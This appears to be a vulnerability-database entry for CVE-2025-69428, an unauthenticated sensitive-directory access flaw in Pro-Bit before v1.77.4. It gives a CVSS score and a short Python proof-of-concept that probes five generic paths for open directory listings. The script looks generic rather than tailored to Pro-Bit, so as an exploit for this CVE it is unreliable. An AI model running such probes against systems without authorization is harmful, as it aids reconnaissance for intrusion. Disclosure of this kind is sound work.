An issue in Pro-Bit before v1.77.4 allows unauthenticated attackers to directly access sensitive directory and its subdirectories.
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Configurations (Affected Products)
No configuration data available.
Pro-Bit < v1.77.4
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2025-69428: Sensitive Directory Access
# This script checks if the target allows listing of sensitive directories.
import requests
def check_vulnerability(target_url):
# Common sensitive directory paths often found in web apps
sensitive_paths = [
"/admin/config",
"/data/backup",
"/logs",
"/upload",
"/includes"
]
print(f"[*] Scanning {target_url} for CVE-2025-69428...")
for path in sensitive_paths:
full_url = f"{target_url.rstrip('/')}{path}"
try:
response = requests.get(full_url, timeout=5)
# Check for 200 OK and common indicators of directory listing
if response.status_code == 200:
if "Index of" in response.text or "<title>Index of" in response.text:
print(f"[+] VULNERABLE! Directory listing enabled at: {full_url}")
elif response.headers.get('Content-Type', '').startswith('text/html'):
print(f"[!] Potential access (200 OK) at: {full_url}")
except requests.RequestException as e:
print(f"[-] Error connecting to {full_url}: {e}")
if __name__ == "__main__":
target = "http://127.0.0.1:8080" # Replace with actual target
check_vulnerability(target)